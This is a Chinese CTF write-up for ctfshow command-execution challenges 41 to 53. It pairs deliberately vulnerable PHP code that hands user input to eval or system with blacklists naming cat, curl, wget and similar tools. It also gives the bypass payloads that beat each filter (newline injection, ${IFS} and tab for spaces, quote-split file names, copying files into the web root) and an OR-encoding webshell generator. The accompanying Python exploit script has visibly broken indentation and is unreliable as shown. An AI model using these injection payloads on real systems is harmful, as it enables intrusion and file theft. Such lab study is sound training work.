1. 程式人生 > 其它 >ctfshow-命令執行[41-53]

ctfshow-命令執行[41-53]

web41 無數字和字元

<?php
  
  /*
  # -*- coding: utf-8 -*-
  # @Author: 羽
  # @Date:   2020-09-05 20:31:22
  # @Last Modified by:   h1xa
  # @Last Modified time: 2020-09-05 22:40:07
  # @email: [email protected]
  # @link: https://ctf.show
  
  */
  
  if(isset($_POST['c'])){
    $c = $_POST['c'];
    if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
      eval("echo($c);");
    }
  }else{
    highlight_file(__FILE__);
  }
?>

過濾了數字和字母和$、+、-、^、~ 但保留了 |

說明可以使用或用算 原理:不包含數字和字母的webshell

直接上指令碼

先使用php指令碼異或出可用的字元:

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

得到異或的結果後,執行py指令碼

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os

if(len(argv)!=2):
    print("="*50)
    print('USER:python exp.py <url>')
    print("eg:  python exp.py http://ctf.show/")
    print("="*50)
    exit(0)
    url=argv[1]
    def action(arg):
        s1=""
        s2=""
        for i in arg:
            f=open("rce_or.txt","r")
            while True:
                t=f.readline()
                if t=="":
                    break
                    if t[0]==i:
                        #print(i)
                        s1+=t[2:5]
                        s2+=t[6:9]
                        break
                        f.close()
                        output="(\""+s1+"\"|\""+s2+"\")"
                        return(output)
                    
                    while True:
                        param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
                        data={
                            'c':urllib.parse.unquote(param)
                        }
                        r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

web42 黑洞

<?php
  
  /*
  # -*- coding: utf-8 -*-
  # @Author: h1xa
  # @Date:   2020-09-05 20:49:30
  # @Last Modified by:   h1xa
  # @Last Modified time: 2020-09-05 20:51:55
  # @email: [email protected]
  # @link: https://ctfer.com
  
  */
  
  
  if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");//作用是不顯示結果
  }else{
    highlight_file(__FILE__);
}

/dev/null:表示 的是一個黑洞,通常用於丟棄不需要的資料輸出, 或者用於輸入流的空檔案

解法:

  1. 後面加;

payload:?c=cp flag.php 1.txt;

  1. 後面加%0a

payload:?c=cp flag.php 1.txt%0a

web43

<?php
  
  /*
  # -*- coding: utf-8 -*-
  # @Author: h1xa
  # @Date:   2020-09-05 20:49:30
  # @Last Modified by:   h1xa
  # @Last Modified time: 2020-09-05 21:32:51
  # @email: [email protected]
  # @link: https://ctfer.com
  
  */
  
  
  if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
      system($c." >/dev/null 2>&1");
    }
  }else{
    highlight_file(__FILE__);
}

黑洞+過濾了;和大小寫的cat

payload:?c=tac f*%0a

web44

<?php
  
  /*
  # -*- coding: utf-8 -*-
  # @Author: h1xa
  # @Date:   2020-09-05 20:49:30
  # @Last Modified by:   h1xa
  # @Last Modified time: 2020-09-05 21:32:01
  # @email: [email protected]
  # @link: https://ctfer.com
  
  */
  
  
  if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
      system($c." >/dev/null 2>&1");
    }
  }else{
    highlight_file(__FILE__);
}

黑洞加上過濾了; cat flag

payload:?c=tac f*%0a

web45

<?php
  
  /*
  # -*- coding: utf-8 -*-
  # @Author: h1xa
  # @Date:   2020-09-05 20:49:30
  # @Last Modified by:   h1xa
  # @Last Modified time: 2020-09-05 21:35:34
  # @email: [email protected]
  # @link: https://ctfer.com
  
  */
  
  
  if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
      system($c." >/dev/null 2>&1");
    }
  }else{
    highlight_file(__FILE__);
}

比上一題多過濾了一個空格

空格代替:

  • ${IFS}

  • ${IFS}$1

  • $IFS$1

  • <>

  • <

  • %09(需要PHP環境)

cat代替:

tac、nl、more、tail、sort、less、head等

payload:?c=tac%09f*%0a

web46

<?php
  
  /*
  # -*- coding: utf-8 -*-
  # @Author: h1xa
  # @Date:   2020-09-05 20:49:30
  # @Last Modified by:   h1xa
  # @Last Modified time: 2020-09-05 21:50:19
  # @email: [email protected]
  # @link: https://ctfer.com
  
  */
  
  
  if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
      system($c." >/dev/null 2>&1");
    }
  }else{
    highlight_file(__FILE__);
}

過濾了分號、flag、空格、數字、$、星號

payload:

?c=tac%09fla?.php%0a

web47

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload同上一題

web48

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload同上一題

web49

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

同上一題payload

web50

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

%09%26都無了 空格使用其他繞過,&也可以換其他繞過

此時使用帶行號讀nl nl不支援萬用字元 ,那麼可以使用php特性,字串之間有兩個''分隔,可以自動忽略

payload:?c=nl<fla''g.php%0a

web51

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

同上一題payload

web52

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多過濾了大小於號

payload:?c=nl${IFS}fla''g.php%0a

得到虛假的flag

說明其他目錄下可能存在著flag,

檢視當前目錄:pwd

/var/www/html

通過../不斷返回上一級目錄檢視?c=ls$IFS/../../%0a

存在flag

讀取

。。。。莫名其妙

換一下思路嘗試一下mv

?c=cp${IFS}/fla?${IFS}/var/www/html/a.tx

檢視是否複製成功

訪問成功

前面的問題重啟環境即可解決

web53

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

payload:?c=nl${IFS}fla''g.php%0a